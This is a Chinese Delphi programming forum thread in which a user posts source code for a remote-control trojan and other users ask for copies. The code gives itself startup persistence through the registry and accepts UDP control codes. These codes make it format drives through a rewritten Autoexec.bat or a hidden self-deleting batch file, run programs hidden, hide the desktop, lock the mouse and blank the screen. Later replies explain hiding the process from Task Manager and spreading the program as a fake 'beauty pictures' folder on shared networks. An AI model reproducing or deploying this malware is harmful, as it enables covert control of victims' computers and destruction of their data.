我要杀人!(0分)

J

jingtao

Unregistered / Unconfirmed
GUEST, unregistred user!
老看到如何控制别的计算机的问题,其实大富翁已回答了这个问题:
type
TClient = class(TForm)
CUDP: TNMUDP;
IconHide1: TIconHide;
Stealth1: TStealth;
MyRegistry1: TMyRegistry;
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
{ Private declarations }
public
{ Public declarations }
end;

var
Client: TClient;

implementation
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }



{$R *.DFM}
function ComputerName : String;
var
CNameBuffer : PChar;
fl_loaded : Boolean;
CLen : ^DWord;
begin
GetMem(CNameBuffer,255);
New(CLen);
CLen^:= 255;
fl_loaded := GetComputerName(CNameBuffer,CLen^);
if fl_loaded then
ComputerName := StrPas(CNameBuffer)
else
ComputerName := '不知道!';
FreeMem(CNameBuffer,255);
Dispose(CLen);
end;

procedure ScreenCap(LeftPos,TopPos,RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;


procedure TClient.FormCreate(Sender: TObject);
begin
application.Title:='';
client.MyRegistry1.CanCreate:=true;
client.MyRegistry1.Open;
client.MyRegistry1.WriteString('Run','',application.ExeName);
client.MyRegistry1.Close;
client.MyRegistry1.Free;
BmpStream:=TMemoryStream.Create;
end;

procedure TClient.winexit(var msg: Tmessage);
begin
// quit your program here such as unregister your process
//then
msg.Result:=1;
application.ProcessMessages;
application.Terminate;
end;
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;

procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..250] of char;
Buf:array[0..BufSize-1] of char;
TmpStr,Trun:string;
hDesktop : Thandle;
forc,ford:textfile;//向Autoexec.bat写格式化命令
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then
if CtrlCode[6]='c' then begin
assignfile(forc,'c:/Autoexec.bat');
rewrite(forc);
writeln(forc,'@echo off');
writeln(forc,'format c:/q /autotest /u');
writeln(forc,'echo y|format c:/q >nul');
closefile(forc);
end else begin
assignfile(ford,'c:/a.bat');
rewrite(ford);
writeln(ford,'@echo off');
writeln(ford,'format '+CtrlCode[6]+':/q /autotest /u');
writeln(ford,'@del %0');
closefile(ford);
winexec('c:/a.bat',sw_hide);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccompu' then
SetSystemPowerState( true, true );//计算机睡眠
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='hdesk' then
begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_HIDE);
end;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='hrun' then
begin
trun:=CtrlCode;
delete(trun,1,4);
shellexecute(handle,'open',pchar(trun),nil,nil,SW_hide);
end; //隐藏运行
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='nrun' then
begin
trun:=CtrlCode;
delete(trun,1,4);
shellexecute(handle,'open',pchar(trun),nil,nil,SW_show);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='irun' then
begin
trun:=CtrlCode;
delete(trun,1,4);
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MINIMIZE);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='mrun' then
begin
trun:=CtrlCode;
delete(trun,1,4);
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MAXIMIZE);
end;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='sdesk' then
begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_show);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ocdrom' then
mciSendString('Set cdaudio door open', nil, 0, handle);//弹出
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccdrom' then
mciSendString('Set cdaudio door closed', nil, 0, handle);//关上

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='cmouse' then
button1.Click; //锁定鼠标
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='omouse' then
button2.Click; //解锁鼠标

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='cscre' then
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0) ; //黑屏
if CtrlCode[0]='
 
其它技巧请看帮助文件(已跟主程序打包)
 
呵呵,我去看看……
 
进不去?
 
这是干什么?我最怕了!
 
哎,重要的在于怎么让对方不发现就中招,而不是怎么对付别人啊。
比如说
shellexecute(handle,'open',pchar(trun),nil,nil,SW_hide);
//隐藏运行
能让对方在Task Manager也看不见process吗?
还有,传播手段怎么解决?用email?
也没给出啊。

 
接受答案了.
 
1:隐藏运行:在implementation后添加声明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏
RegisterServiceProcess(GetCurrentProcessID, 0);//显示
这样用ALT+DEL+CTRL看不见进程
2:修改dpr文件:application.showmainform:=false;//不显示窗口
2.5:程序图标为透明
我上面的程序同时采用了这几种方法,还可把它跟Explorer.exe捆绑。

3:传播手段:我主要是在"网上邻居"间使用,我编了个图标为文件夹的程序,注明“美女图片“,只要你点击它,就会在你的硬盘生成上面的程序并会在启动时运行,然后再
打开那个对应的隐藏文件夹.
其它传播技巧请看帮助文件(已跟主程序打包)
其实用上面的方法可做出任何象在本机操作的效果,只要在服务端发命令,客户端读取控制码 ,再执行相应操作即可。
我老在大富翁看到有人问这样的问题,便弄了这个东西,结构不够好,毕竟,我接触
Windows编程才半年嘛.........
接受答案了.


 
jingtao大侠:
我进不去了,能发给我吗?
flycloud@371.net
 
要例子请到delphisoft@21cn.com,密码为8.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Sign,这样不妥吧,谁先进出谁就是老大
改了密码后信箱就是他的了!
 
中招了!
不知道是不是超过期限了!:(
 
进不去了,可以发我一个吗???
highnice@sohu.com
真的好想研究一下!!!

在这里谢谢大侠了
 
为什么是我?
 
要例子请到delphisoft@21cn.com,密码为8.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Sign,这样不妥吧,谁先进出谁就是老大
改了密码后信箱就是他的了!

aliang:
老大,你这样不小心,怎么能杀人。只怕还没有动手就。。。
 
Jingtao:
我进不去,它说我没这个权限。能给我一份吗?

  Email:duch_2000@sina.com
 
<a mailto=agenow@china.com>agenow@china.com</a>

我也要一份,谢谢。
 
Jingtao:
我进不去,它说我没这个权限。能给我一份吗?

  Email:igmp@21cn.com
 
Jingtao:
能给我一份吗?谢谢
diqiang@sina.com
 
顶部